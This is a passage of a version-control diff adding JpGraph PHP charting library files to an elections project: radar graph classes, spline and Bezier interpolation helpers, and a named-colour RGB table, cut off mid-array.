+    private $fill=false, $fill_color=array(200,170,180);
+    private $color=array(0,0,0);
+    private $weight=1;
+    private $linestyle='solid';
+//---------------
+// CONSTRUCTOR
+    function RadarPlot($data) {
+	$this->data = $data;
+	$this->mark = new PlotMark();
+    }
+
+//---------------
+// PUBLIC METHODS	
+    function Min() {
+	return Min($this->data);
+    }
+	
+    function Max() {
+	return Max($this->data);
+    }
+	
+    function SetLegend($legend) {
+	$this->legend=$legend;
+    }
+
+    function SetLineStyle($aStyle) {
+	$this->linestyle=$aStyle;
+    }
+	
+    function SetLineWeight($w) {
+	$this->weight=$w;
+    }
+		
+    function SetFillColor($aColor) {
+	$this->fill_color = $aColor;
+	$this->fill = true;		
+    }
+    
+    function SetFill($f=true) {
+	$this->fill = $f;
+    }
+    
+    function SetColor($aColor,$aFillColor=false) {
+	$this->color = $aColor;
+	if( $aFillColor ) {
+	    $this->SetFillColor($aFillColor);
+	    $this->fill = true;
+	}
+    }
+	
+    function GetCSIMareas() {
+	JpGraphError::RaiseL(18001);
+//("Client side image maps not supported for RadarPlots.");
+    }
+	
+    function Stroke($img, $pos, $scale, $startangle) {
+	$nbrpnts = count($this->data);
+	$astep=2*M_PI/$nbrpnts;		
+	$a=$startangle;
+		
+	$nulls=0;
+	for($i=0; $i<$nbrpnts; ++$i) {
+	    if(!is_null($this->data[$i])) {
+		// Rotate each non null point to the correct axis-angle
+		$cs=$scale->RelTranslate($this->data[$i]);
+		$x=round($cs*cos($a)+$scale->scale_abs[0]);
+		$y=round($pos-$cs*sin($a));
+		/*
+		 // TODO: Update for proper LogScale
+	         $c=log10($c);
+	         $x=round(($c-$scale->scale[0])*$scale->scale_factor*cos($a)+$scale->scale_abs[0]);
+	         $y=round($pos-($c-$scale->scale[0])*$scale->scale_factor*sin($a));		
+		*/
+		$pnts[($i-$nulls)*2]=$x;
+		$pnts[($i-$nulls)*2+1]=$y;
+	    }
+	    else {
+		++$nulls;
+	    }
+	    $a += $astep;
+	}
+
+	if( $this->fill ) {
+	    $img->SetColor($this->fill_color);
+	    $img->FilledPolygon($pnts);
+	}
+	$img->SetLineWeight($this->weight);
+	$img->SetColor($this->color);
+	$img->SetLineStyle($this->linestyle);
+	$pnts[]=$pnts[0];
+	$pnts[]=$pnts[1];
+	$img->Polygon($pnts);
+	$img->SetLineStyle('solid'); // Reset line style to default
+
+	// Add plotmarks on top
+	if( $this->mark->show ) {
+	    for($i=0; $i < $nbrpnts; ++$i) {
+		$this->mark->Stroke($img,$pnts[$i*2],$pnts[$i*2+1]); 
+	    }
+	}
+
+    }
+	
+//---------------
+// PRIVATE METHODS
+    function GetCount() {
+	return count($this->data);
+    }
+	
+    function Legend($graph) {
+	if( $this->legend=="" ) return;
+	if( $this->fill )
+	    $graph->legend->Add($this->legend,$this->fill_color,$this->mark);
+	else
+	    $graph->legend->Add($this->legend,$this->color,$this->mark);	
+    }
+	
+} // Class
+
+//===================================================
+// CLASS RadarGraph
+// Description: Main container for a radar graph
+//===================================================
+class RadarGraph extends Graph {
+    public $grid,$axis=null;
+    private $posx,$posy;
+    private $len;		
+    private $axis_title=null;
+//---------------
+// CONSTRUCTOR
+    function RadarGraph($width=300,$height=200,$cachedName="",$timeout=0,$inline=1) {
+	$this->Graph($width,$height,$cachedName,$timeout,$inline);
+	$this->posx=$width/2;
+	$this->posy=$height/2;
+	$this->len=min($width,$height)*0.35;
+	$this->SetColor(array(255,255,255));
+	$this->SetTickDensity(TICKD_NORMAL);
+	$this->SetScale("lin");
+	$this->SetGridDepth(DEPTH_FRONT);
+
+    }
+
+//---------------
+// PUBLIC METHODS
+    function SupressTickMarks($f=true) {
+    	if( ERR_DEPRECATED )
+	    JpGraphError::RaiseL(18002);
+//('RadarGraph::SupressTickMarks() is deprecated. Use HideTickMarks() instead.');
+	$this->axis->scale->ticks->SupressTickMarks($f);
+    }
+
+    function HideTickMarks($aFlag=true) {
+		$this->axis->scale->ticks->SupressTickMarks($aFlag);
+    }
+    
+    function ShowMinorTickmarks($aFlag=true) {
+    	$this->yscale->ticks->SupressMinorTickMarks(!$aFlag);
+    }
+	
+    function SetScale($axtype,$ymin=1,$ymax=1,$dummy1=null,$dumy2=null) {
+	if( $axtype != "lin" && $axtype != "log" ) {
+	    JpGraphError::RaiseL(18003,$axtype);
+//("Illegal scale for radarplot ($axtype). Must be \"lin\" or \"log\"");
+	}
+	if( $axtype=="lin" ) {
+	    $this->yscale = new LinearScale($ymin,$ymax);
+	    $this->yscale->ticks = new RadarLinearTicks();
+	    $this->yscale->ticks->SupressMinorTickMarks();
+	}
+	elseif( $axtype=="log" ) {
+	    $this->yscale = new LogScale($ymin,$ymax);
+	    $this->yscale->ticks = new RadarLogTicks();
+	}
+		
+	$this->axis = new RadarAxis($this->img,$this->yscale);
+	$this->grid = new RadarGrid();		
+    }
+
+    function SetSize($aSize) {
+	if( $aSize < 0.1 || $aSize>1 )
+	    JpGraphError::RaiseL(18004,$aSize);
+//("Radar Plot size must be between 0.1 and 1. (Your value=$s)");
+	$this->len=min($this->img->width,$this->img->height)*$aSize/2;
+    }
+
+    function SetPlotSize($aSize) {
+	$this->SetSize($aSize);
+    }
+
+    function SetTickDensity($densy=TICKD_NORMAL,$dummy1=null) {
+	$this->ytick_factor=25;		
+	switch( $densy ) {
+	    case TICKD_DENSE:
+		$this->ytick_factor=12;			
+	    break;
+	    case TICKD_NORMAL:
+		$this->ytick_factor=25;			
+	    break;
+	    case TICKD_SPARSE:
+		$this->ytick_factor=40;			
+	    break;
+	    case TICKD_VERYSPARSE:
+		$this->ytick_factor=70;			
+	    break;		
+	    default:
+		JpGraphError::RaiseL(18005,$densy);
+//("RadarPlot Unsupported Tick density: $densy");
+	}
+    }
+
+    function SetPos($px,$py=0.5) {
+	$this->SetCenter($px,$py);
+    }
+
+    function SetCenter($px,$py=0.5) {
+	assert($px > 0 && $py > 0 );
+	$this->posx=$this->img->width*$px;
+	$this->posy=$this->img->height*$py;
+    }
+
+    function SetColor($c) {
+	$this->SetMarginColor($c);
+    }
+			
+    function SetTitles($title) {
+	$this->axis_title = $title;
+    }
+
+    function Add($splot) {
+	$this->plots[]=$splot;
+    }
+	
+    function GetPlotsYMinMax($aPlots) {
+	$min=$aPlots[0]->Min();
+	$max=$aPlots[0]->Max();
+	foreach( $this->plots as $p ) {
+	    $max=max($max,$p->Max());
+	    $min=min($min,$p->Min());
+	}
+	if( $min < 0 ) 
+	    JpGraphError::RaiseL(18006,$min);
+//("Minimum data $min (Radar plots should only be used when all data points > 0)");
+	return array($min,$max);
+    }	
+
+    // Stroke the Radar graph
+    function Stroke($aStrokeFileName="") {
+	$n = count($this->plots);
+	// Set Y-scale
+	if( !$this->yscale->IsSpecified() && count($this->plots)>0 ) {
+	    list($min,$max) = $this->GetPlotsYMinMax($this->plots);
+	    $this->yscale->AutoScale($this->img,0,$max,$this->len/$this->ytick_factor);
+	}
+	elseif( $this->yscale->IsSpecified() && 
+		( $this->yscale->auto_ticks || !$this->yscale->ticks->IsSpecified()) ) {
+	    // The tick calculation will use the user suplied min/max values to determine
+	    // the ticks. If auto_ticks is false the exact user specifed min and max
+	    // values will be used for the scale. 
+	    // If auto_ticks is true then the scale might be slightly adjusted
+	    // so that the min and max values falls on an even major step.
+	    $min = $this->yscale->scale[0];
+	    $max = $this->yscale->scale[1];
+	    $this->yscale->AutoScale($this->img,$min,$max,
+				     $this->len/$this->ytick_factor,
+				     $this->yscale->auto_ticks);
+	}
+
+	// Set start position end length of scale (in absolute pixels)
+	$this->yscale->SetConstants($this->posx,$this->len);
+		
+	// We need as many axis as there are data points
+	$nbrpnts=$this->plots[0]->GetCount();
+		
+	// If we have no titles just number the axis 1,2,3,...
+	if( $this->axis_title==null ) {
+	    for($i=0; $i < $nbrpnts; ++$i ) 
+		$this->axis_title[$i] = $i+1;
+	}
+	elseif(count($this->axis_title)<$nbrpnts) 
+	    JpGraphError::RaiseL(18007);
+//("Number of titles does not match number of points in plot.");
+	for($i=0; $i < $n; ++$i )
+	    if( $nbrpnts != $this->plots[$i]->GetCount() )
+		JpGraphError::RaiseL(18008);
+//("Each radar plot must have the same number of data points.");
+
+	if( $this->background_image != "" ) {
+	    $this->StrokeFrameBackground();
+	}
+	else {	
+	    $this->StrokeFrame();
+	}
+	$astep=2*M_PI/$nbrpnts;
+
+	// Prepare legends
+	for($i=0; $i < $n; ++$i)
+	    $this->plots[$i]->Legend($this);
+	$this->legend->Stroke($this->img);			
+	$this->footer->Stroke($this->img);			
+
+	if( $this->grid_depth == DEPTH_BACK ) {
+	    // Draw axis and grid
+	    for( $i=0,$a=M_PI/2; $i < $nbrpnts; ++$i, $a += $astep ) {
+		$this->axis->Stroke($this->posy,$a,$grid[$i],$this->axis_title[$i],$i==0);
+	    }	
+	}
+		
+	// Plot points
+	$a=M_PI/2;
+	for($i=0; $i < $n; ++$i )
+	    $this->plots[$i]->Stroke($this->img, $this->posy, $this->yscale, $a);
+		
+	if( $this->grid_depth != DEPTH_BACK ) {
+	    // Draw axis and grid
+	    for( $i=0,$a=M_PI/2; $i < $nbrpnts; ++$i, $a += $astep ) {
+		$this->axis->Stroke($this->posy,$a,$grid[$i],$this->axis_title[$i],$i==0);
+	    }	
+	}
+	$this->grid->Stroke($this->img,$grid);
+	$this->StrokeTitles();
+	
+	// Stroke texts
+	if( $this->texts != null ) {
+	    foreach( $this->texts as $t) 
+		$t->Stroke($this->img);
+	}
+
+	// Should we do any final image transformation
+	if( $this->iImgTrans ) {
+	    if( !class_exists('ImgTrans',false) ) {
+		require_once('jpgraph_imgtrans.php');
+	    }
+	       
+	    $tform = new ImgTrans($this->img->img);
+	    $this->img->img = $tform->Skew3D($this->iImgTransHorizon,$this->iImgTransSkewDist,
+					     $this->iImgTransDirection,$this->iImgTransHighQ,
+					     $this->iImgTransMinSize,$this->iImgTransFillColor,
+					     $this->iImgTransBorder);
+	}
+	
+	// If the filename is given as the special "__handle"
+	// then the image handler is returned and the image is NOT
+	// streamed back
+	if( $aStrokeFileName == _IMG_HANDLER ) {
+	    return $this->img->img;
+	    }
+	else {
+	    // Finally stream the generated picture					
+	    $this->cache->PutAndStream($this->img,$this->cache_name,$this->inline,
+				       $aStrokeFileName);		
+	}
+    }
+} // Class
+
+/* EOF */
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_regstat.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_regstat.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_regstat.php	(revision 44)
@@ -0,0 +1,202 @@
+<?php 
+/*=======================================================================
+// File:	JPGRAPH_REGSTAT.PHP
+// Description: Regression and statistical analysis helper classes
+// Created: 	2002-12-01
+// Ver:		$Id: jpgraph_regstat.php 781 2006-10-08 08:07:47Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+*/
+
+//------------------------------------------------------------------------
+// CLASS Spline
+// Create a new data array from an existing data array but with more points.
+// The new points are interpolated using a cubic spline algorithm
+//------------------------------------------------------------------------
+class Spline {
+    // 3:rd degree polynom approximation
+
+    private $xdata,$ydata;   // Data vectors
+    private $y2;		 // 2:nd derivate of ydata	
+    private $n=0;
+
+    function Spline($xdata,$ydata) {
+	$this->y2 = array();
+	$this->xdata = $xdata;
+	$this->ydata = $ydata;
+
+	$n = count($ydata);
+	$this->n = $n;
+	if( $this->n !== count($xdata) ) {
+	    JpGraphError::RaiseL(19001);
+//('Spline: Number of X and Y coordinates must be the same');
+	}
+
+	// Natural spline 2:derivate == 0 at endpoints
+	$this->y2[0]    = 0.0;
+	$this->y2[$n-1] = 0.0;
+	$delta[0] = 0.0;
+
+	// Calculate 2:nd derivate
+	for($i=1; $i < $n-1; ++$i) {
+	    $d = ($xdata[$i+1]-$xdata[$i-1]);
+	    if( $d == 0  ) {
+		JpGraphError::RaiseL(19002);
+//('Invalid input data for spline. Two or more consecutive input X-values are equal. Each input X-value must differ since from a mathematical point of view it must be a one-to-one mapping, i.e. each X-value must correspond to exactly one Y-value.');
+	    }
+	    $s = ($xdata[$i]-$xdata[$i-1])/$d;
+	    $p = $s*$this->y2[$i-1]+2.0;
+	    $this->y2[$i] = ($s-1.0)/$p;
+	    $delta[$i] = ($ydata[$i+1]-$ydata[$i])/($xdata[$i+1]-$xdata[$i]) - 
+		         ($ydata[$i]-$ydata[$i-1])/($xdata[$i]-$xdata[$i-1]);
+	    $delta[$i] = (6.0*$delta[$i]/($xdata[$i+1]-$xdata[$i-1])-$s*$delta[$i-1])/$p;
+	}
+
+	// Backward substitution
+	for( $j=$n-2; $j >= 0; --$j ) {
+	    $this->y2[$j] = $this->y2[$j]*$this->y2[$j+1] + $delta[$j];
+	}
+    }
+
+    // Return the two new data vectors
+    function Get($num=50) {
+	$n = $this->n ;
+	$step = ($this->xdata[$n-1]-$this->xdata[0]) / ($num-1);
+	$xnew=array();
+	$ynew=array();
+	$xnew[0] = $this->xdata[0];
+	$ynew[0] = $this->ydata[0];
+	for( $j=1; $j < $num; ++$j ) {
+	    $xnew[$j] = $xnew[0]+$j*$step;
+	    $ynew[$j] = $this->Interpolate($xnew[$j]);
+	}
+	return array($xnew,$ynew);
+    }
+
+    // Return a single interpolated Y-value from an x value
+    function Interpolate($xpoint) {
+
+	$max = $this->n-1;
+	$min = 0;
+
+	// Binary search to find interval
+	while( $max-$min > 1 ) {
+	    $k = ($max+$min) / 2;
+	    if( $this->xdata[$k] > $xpoint ) 
+		$max=$k;
+	    else 
+		$min=$k;
+	}	
+
+	// Each interval is interpolated by a 3:degree polynom function
+	$h = $this->xdata[$max]-$this->xdata[$min];
+
+	if( $h == 0  ) {
+	    JpGraphError::RaiseL(19002);
+//('Invalid input data for spline. Two or more consecutive input X-values are equal. Each input X-value must differ since from a mathematical point of view it must be a one-to-one mapping, i.e. each X-value must correspond to exactly one Y-value.');
+	}
+
+
+	$a = ($this->xdata[$max]-$xpoint)/$h;
+	$b = ($xpoint-$this->xdata[$min])/$h;
+	return $a*$this->ydata[$min]+$b*$this->ydata[$max]+
+	     (($a*$a*$a-$a)*$this->y2[$min]+($b*$b*$b-$b)*$this->y2[$max])*($h*$h)/6.0;
+    }
+}
+
+//------------------------------------------------------------------------
+// CLASS Bezier
+// Create a new data array from a number of control points
+//------------------------------------------------------------------------
+class Bezier {
+/**
+ * @author Thomas Despoix, openXtrem company
+ * @license released under QPL
+ * @abstract Bezier interoplated point generation,
+ * computed from control points data sets, based on Paul Bourke algorithm :
+ * http://astronomy.swin.edu.au/~pbourke/curves/bezier/
+ */
+    private $datax = array();
+    private $datay = array();
+    private $n=0;
+ 
+    function Bezier($datax, $datay, $attraction_factor = 1) {
+	// Adding control point multiple time will raise their attraction power over the curve
+	$this->n = count($datax);
+	if( $this->n !== count($datay) ) {
+	    JpGraphError::RaiseL(19003);
+//('Bezier: Number of X and Y coordinates must be the same');
+	}
+	$idx=0;
+	foreach($datax as $datumx) {
+	    for ($i = 0; $i < $attraction_factor; $i++) {
+		$this->datax[$idx++] = $datumx;
+	    }
+	}
+   	$idx=0;
+	foreach($datay as $datumy) {
+	    for ($i = 0; $i < $attraction_factor; $i++) {
+		$this->datay[$idx++] = $datumy;
+	    }
+	}
+	$this->n *= $attraction_factor;
+    }
+
+    function Get($steps) {
+	$datax = array();
+	$datay = array();
+	for ($i = 0; $i < $steps; $i++) {
+	    list($datumx, $datumy) = $this->GetPoint((double) $i / (double) $steps);       
+	    $datax[] = $datumx;
+	    $datay[] = $datumy;
+	}
+   
+	$datax[] = end($this->datax);
+	$datay[] = end($this->datay);
+   
+	return array($datax, $datay);
+    }
+ 
+    function GetPoint($mu) {
+	$n = $this->n - 1;
+	$k = 0;
+	$kn = 0;
+	$nn = 0;
+	$nkn = 0;
+	$blend = 0.0;
+	$newx = 0.0;
+	$newy = 0.0;
+
+	$muk = 1.0;
+	$munk = (double) pow(1-$mu,(double) $n);
+
+	for ($k = 0; $k <= $n; $k++) {
+	    $nn = $n;
+	    $kn = $k;
+	    $nkn = $n - $k;
+	    $blend = $muk * $munk;
+	    $muk *= $mu;
+	    $munk /= (1-$mu);
+	    while ($nn >= 1) {
+		$blend *= $nn;
+		$nn--;
+		if ($kn > 1) {
+		    $blend /= (double) $kn;
+		    $kn--;
+		}
+		if ($nkn > 1) {
+		    $blend /= (double) $nkn;
+		    $nkn--;
+		}
+	    }
+	    $newx += $this->datax[$k] * $blend;
+	    $newy += $this->datay[$k] * $blend;
+	}
+
+	return array($newx, $newy);
+    }
+}
+
+// EOF
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_rgb.inc.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_rgb.inc.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_rgb.inc.php	(revision 44)
@@ -0,0 +1,570 @@
+<?php
+//=======================================================================
+// File:	JPGRAPH_RGB.INC.PHP
+// Description:	Class to handle RGb color space specification and 
+//		named colors
+// Created: 	2001-01-08 (Refactored to separate file 2008-08-01)
+// Ver:		$Id: jpgraph_rgb.inc.php 1049 2008-08-01 19:58:07Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+
+//===================================================
+// CLASS RGB
+// Description: Color definitions as RGB triples
+//===================================================
+class RGB {
+    public $rgb_table; 
+    public $img;
+
+    function RGB($aImg=null) {
+	$this->img = $aImg;
+		
+	// Conversion array between color names and RGB
+	$this->rgb_table = array(
+	    "aqua"=> array(0,255,255),		
+	    "lime"=> array(0,255,0),		
+	    "teal"=> array(0,128,128),
+	    "whitesmoke"=>array(245,245,245),
+	    "gainsboro"=>array(220,220,220),
+	    "oldlace"=>array(253,245,230),
+	    "linen"=>array(250,240,230),
+	    "antiquewhite"=>array(250,235,215),
+	    "papayawhip"=>array(255,239,213),
+	    "blanchedalmond"=>array(255,235,205),
+	    "bisque"=>array(255,228,196),
+	    "peachpuff"=>array(255,218,185),
+	    "navajowhite"=>array(255,222,173),
+	    "moccasin"=>array(255,228,181),
+	    "cornsilk"=>array(255,248,220),
+	    "ivory"=>array(255,255,240),
+	    "lemonchiffon"=>array(255,250,205),
+	    "seashell"=>array(255,245,238),
+	    "mintcream"=>array(245,255,250),
+	    "azure"=>array(240,255,255),
+	    "aliceblue"=>array(240,248,255),
+	    "lavender"=>array(230,230,250),
+	    "lavenderblush"=>array(255,240,245),
+	    "mistyrose"=>array(255,228,225),
+	    "white"=>array(255,255,255),
+	    "black"=>array(0,0,0),
+	    "darkslategray"=>array(47,79,79),
+	    "dimgray"=>array(105,105,105),
+	    "slategray"=>array(112,128,144),
+	    "lightslategray"=>array(119,136,153),
+	    "gray"=>array(190,190,190),
+	    "lightgray"=>array(211,211,211),
+	    "midnightblue"=>array(25,25,112),
+	    "navy"=>array(0,0,128),
+	    "cornflowerblue"=>array(100,149,237),
+	    "darkslateblue"=>array(72,61,139),
+	    "slateblue"=>array(106,90,205),
+	    "mediumslateblue"=>array(123,104,238),
+	    "lightslateblue"=>array(132,112,255),
+	    "mediumblue"=>array(0,0,205),
+	    "royalblue"=>array(65,105,225),
+	    "blue"=>array(0,0,255),
+	    "dodgerblue"=>array(30,144,255),
+	    "deepskyblue"=>array(0,191,255),
+	    "skyblue"=>array(135,206,235),
+	    "lightskyblue"=>array(135,206,250),
+	    "steelblue"=>array(70,130,180),
+	    "lightred"=>array(211,167,168),
+	    "lightsteelblue"=>array(176,196,222),
+	    "lightblue"=>array(173,216,230),
+	    "powderblue"=>array(176,224,230),
+	    "paleturquoise"=>array(175,238,238),
+	    "darkturquoise"=>array(0,206,209),
+	    "mediumturquoise"=>array(72,209,204),
+	    "turquoise"=>array(64,224,208),
+	    "cyan"=>array(0,255,255),
+	    "lightcyan"=>array(224,255,255),
+	    "cadetblue"=>array(95,158,160),
+	    "mediumaquamarine"=>array(102,205,170),
+	    "aquamarine"=>array(127,255,212),
+	    "darkgreen"=>array(0,100,0),
+	    "darkolivegreen"=>array(85,107,47),
+	    "darkseagreen"=>array(143,188,143),
+	    "seagreen"=>array(46,139,87),
+	    "mediumseagreen"=>array(60,179,113),
+	    "lightseagreen"=>array(32,178,170),
+	    "palegreen"=>array(152,251,152),
+	    "springgreen"=>array(0,255,127),
+	    "lawngreen"=>array(124,252,0),
+	    "green"=>array(0,255,0),
+	    "chartreuse"=>array(127,255,0),
+	    "mediumspringgreen"=>array(0,250,154),
+	    "greenyellow"=>array(173,255,47),
+	    "limegreen"=>array(50,205,50),
+	    "yellowgreen"=>array(154,205,50),
+	    "forestgreen"=>array(34,139,34),
+	    "olivedrab"=>array(107,142,35),
+	    "darkkhaki"=>array(189,183,107),
+	    "khaki"=>array(240,230,140),
+	    "palegoldenrod"=>array(238,232,170),
+	    "lightgoldenrodyellow"=>array(250,250,210),
+	    "lightyellow"=>array(255,255,200),
+	    "yellow"=>array(255,255,0),
+	    "gold"=>array(255,215,0),
+	    "lightgoldenrod"=>array(238,221,130),
+	    "goldenrod"=>array(218,165,32),
+	    "darkgoldenrod"=>array(184,134,11),
+	    "rosybrown"=>array(188,143,143),
+	    "indianred"=>array(205,92,92),
+	    "saddlebrown"=>array(139,69,19),
+	    "sienna"=>array(160,82,45),
+	    "peru"=>array(205,133,63),
+	    "burlywood"=>array(222,184,135),
+	    "beige"=>array(245,245,220),
+	    "wheat"=>array(245,222,179),
+	    "sandybrown"=>array(244,164,96),
+	    "tan"=>array(210,180,140),
+	    "chocolate"=>array(210,105,30),
+	    "firebrick"=>array(178,34,34),
+	    "brown"=>array(165,42,42),
+	    "darksalmon"=>array(233,150,122),
+	    "salmon"=>array(250,128,114),
+	    "lightsalmon"=>array(255,160,122),
+	    "orange"=>array(255,165,0),
+	    "darkorange"=>array(255,140,0),
+	    "coral"=>array(255,127,80),
+	    "lightcoral"=>array(240,128,128),
+	    "tomato"=>array(255,99,71),
+	    "orangered"=>array(255,69,0),
+	    "red"=>array(255,0,0),
+	    "hotpink"=>array(255,105,180),
+	    "deeppink"=>array(255,20,147),
+	    "pink"=>array(255,192,203),
+	    "lightpink"=>array(255,182,193),
+	    "palevioletred"=>array(219,112,147),
+	    "maroon"=>array(176,48,96),
+	    "mediumvioletred"=>array(199,21,133),
+	    "violetred"=>array(208,32,144),
+	    "magenta"=>array(255,0,255),
+	    "violet"=>array(238,130,238),
+	    "plum"=>array(221,160,221),
+	    "orchid"=>array(218,112,214),
+	    "mediumorchid"=>array(186,85,211),
+	    "darkorchid"=>array(153,50,204),
+	    "darkviolet"=>array(148,0,211),
+	    "blueviolet"=>array(138,43,226),
+	    "purple"=>array(160,32,240),
+	    "mediumpurple"=>array(147,112,219),
+	    "thistle"=>array(216,191,216),
+	    "snow1"=>array(255,250,250),
+	    "snow2"=>array(238,233,233),
+	    "snow3"=>array(205,201,201),
+	    "snow4"=>array(139,137,137),
+	    "seashell1"=>array(255,245,238),
+	    "seashell2"=>array(238,229,222),
+	    "seashell3"=>array(205,197,191),
+	    "seashell4"=>array(139,134,130),
+	    "AntiqueWhite1"=>array(255,239,219),
+	    "AntiqueWhite2"=>array(238,223,204),
+	    "AntiqueWhite3"=>array(205,192,176),
+	    "AntiqueWhite4"=>array(139,131,120),
+	    "bisque1"=>array(255,228,196),
+	    "bisque2"=>array(238,213,183),
+	    "bisque3"=>array(205,183,158),
+	    "bisque4"=>array(139,125,107),
+	    "peachPuff1"=>array(255,218,185),
+	    "peachpuff2"=>array(238,203,173),
+	    "peachpuff3"=>array(205,175,149),
+	    "peachpuff4"=>array(139,119,101),
+	    "navajowhite1"=>array(255,222,173),
+	    "navajowhite2"=>array(238,207,161),
+	    "navajowhite3"=>array(205,179,139),
+	    "navajowhite4"=>array(139,121,94),
+	    "lemonchiffon1"=>array(255,250,205),
+	    "lemonchiffon2"=>array(238,233,191),
+	    "lemonchiffon3"=>array(205,201,165),
+	    "lemonchiffon4"=>array(139,137,112),
+	    "ivory1"=>array(255,255,240),
+	    "ivory2"=>array(238,238,224),
+	    "ivory3"=>array(205,205,193),
+	    "ivory4"=>array(139,139,131),
+	    "honeydew"=>array(193,205,193),
+	    "lavenderblush1"=>array(255,240,245),
+	    "lavenderblush2"=>array(238,224,229),
+	    "lavenderblush3"=>array(205,193,197),
+	    "lavenderblush4"=>array(139,131,134),
+	    "mistyrose1"=>array(255,228,225),
+	    "mistyrose2"=>array(238,213,210),
+	    "mistyrose3"=>array(205,183,181),
+	    "mistyrose4"=>array(139,125,123),
+	    "azure1"=>array(240,255,255),
+	    "azure2"=>array(224,238,238),
+	    "azure3"=>array(193,205,205),
+	    "azure4"=>array(131,139,139),
+	    "slateblue1"=>array(131,111,255),
+	    "slateblue2"=>array(122,103,238),
+	    "slateblue3"=>array(105,89,205),
+	    "slateblue4"=>array(71,60,139),
+	    "royalblue1"=>array(72,118,255),
+	    "royalblue2"=>array(67,110,238),
+	    "royalblue3"=>array(58,95,205),
+	    "royalblue4"=>array(39,64,139),
+	    "dodgerblue1"=>array(30,144,255),
+	    "dodgerblue2"=>array(28,134,238),
+	    "dodgerblue3"=>array(24,116,205),
+	    "dodgerblue4"=>array(16,78,139),
+	    "steelblue1"=>array(99,184,255),
+	    "steelblue2"=>array(92,172,238),
+	    "steelblue3"=>array(79,148,205),
+	    "steelblue4"=>array(54,100,139),
+	    "deepskyblue1"=>array(0,191,255),
+	    "deepskyblue2"=>array(0,178,238),
+	    "deepskyblue3"=>array(0,154,205),
+	    "deepskyblue4"=>array(0,104,139),
+	    "skyblue1"=>array(135,206,255),
+	    "skyblue2"=>array(126,192,238),
+	    "skyblue3"=>array(108,166,205),
+	    "skyblue4"=>array(74,112,139),
+	    "lightskyblue1"=>array(176,226,255),
+	    "lightskyblue2"=>array(164,211,238),
+	    "lightskyblue3"=>array(141,182,205),
+	    "lightskyblue4"=>array(96,123,139),
+	    "slategray1"=>array(198,226,255),
+	    "slategray2"=>array(185,211,238),
+	    "slategray3"=>array(159,182,205),
+	    "slategray4"=>array(108,123,139),
+	    "lightsteelblue1"=>array(202,225,255),
+	    "lightsteelblue2"=>array(188,210,238),
+	    "lightsteelblue3"=>array(162,181,205),
+	    "lightsteelblue4"=>array(110,123,139),
+	    "lightblue1"=>array(191,239,255),
+	    "lightblue2"=>array(178,223,238),
+	    "lightblue3"=>array(154,192,205),
+	    "lightblue4"=>array(104,131,139),
+	    "lightcyan1"=>array(224,255,255),
+	    "lightcyan2"=>array(209,238,238),
+	    "lightcyan3"=>array(180,205,205),
+	    "lightcyan4"=>array(122,139,139),
+	    "paleturquoise1"=>array(187,255,255),
+	    "paleturquoise2"=>array(174,238,238),
+	    "paleturquoise3"=>array(150,205,205),
+	    "paleturquoise4"=>array(102,139,139),
+	    "cadetblue1"=>array(152,245,255),
+	    "cadetblue2"=>array(142,229,238),
+	    "cadetblue3"=>array(122,197,205),
+	    "cadetblue4"=>array(83,134,139),
+	    "turquoise1"=>array(0,245,255),
+	    "turquoise2"=>array(0,229,238),
+	    "turquoise3"=>array(0,197,205),
+	    "turquoise4"=>array(0,134,139),
+	    "cyan1"=>array(0,255,255),
+	    "cyan2"=>array(0,238,238),
+	    "cyan3"=>array(0,205,205),
+	    "cyan4"=>array(0,139,139),
+	    "darkslategray1"=>array(151,255,255),
+	    "darkslategray2"=>array(141,238,238),
+	    "darkslategray3"=>array(121,205,205),
+	    "darkslategray4"=>array(82,139,139),
+	    "aquamarine1"=>array(127,255,212),
+	    "aquamarine2"=>array(118,238,198),
+	    "aquamarine3"=>array(102,205,170),
+	    "aquamarine4"=>array(69,139,116),
+	    "darkseagreen1"=>array(193,255,193),
+	    "darkseagreen2"=>array(180,238,180),
+	    "darkseagreen3"=>array(155,205,155),
+	    "darkseagreen4"=>array(105,139,105),
+	    "seagreen1"=>array(84,255,159),
+	    "seagreen2"=>array(78,238,148),
+	    "seagreen3"=>array(67,205,128),
+	    "seagreen4"=>array(46,139,87),
+	    "palegreen1"=>array(154,255,154),
+	    "palegreen2"=>array(144,238,144),
+	    "palegreen3"=>array(124,205,124),
+	    "palegreen4"=>array(84,139,84),
+	    "springgreen1"=>array(0,255,127),
+	    "springgreen2"=>array(0,238,118),
+	    "springgreen3"=>array(0,205,102),
+	    "springgreen4"=>array(0,139,69),
+	    "chartreuse1"=>array(127,255,0),
+	    "chartreuse2"=>array(118,238,0),
+	    "chartreuse3"=>array(102,205,0),
+	    "chartreuse4"=>array(69,139,0),
+	    "olivedrab1"=>array(192,255,62),
+	    "olivedrab2"=>array(179,238,58),
+	    "olivedrab3"=>array(154,205,50),
+	    "olivedrab4"=>array(105,139,34),
+	    "darkolivegreen1"=>array(202,255,112),
+	    "darkolivegreen2"=>array(188,238,104),
+	    "darkolivegreen3"=>array(162,205,90),
+	    "darkolivegreen4"=>array(110,139,61),
+	    "khaki1"=>array(255,246,143),
+	    "khaki2"=>array(238,230,133),
+	    "khaki3"=>array(205,198,115),
+	    "khaki4"=>array(139,134,78),
+	    "lightgoldenrod1"=>array(255,236,139),
+	    "lightgoldenrod2"=>array(238,220,130),
+	    "lightgoldenrod3"=>array(205,190,112),
+	    "lightgoldenrod4"=>array(139,129,76),
+	    "yellow1"=>array(255,255,0),
+	    "yellow2"=>array(238,238,0),
+	    "yellow3"=>array(205,205,0),
+	    "yellow4"=>array(139,139,0),
+	    "gold1"=>array(255,215,0),
+	    "gold2"=>array(238,201,0),
+	    "gold3"=>array(205,173,0),
+	    "gold4"=>array(139,117,0),
+	    "goldenrod1"=>array(255,193,37),
+	    "goldenrod2"=>array(238,180,34),
+	    "goldenrod3"=>array(205,155,29),
+	    "goldenrod4"=>array(139,105,20),
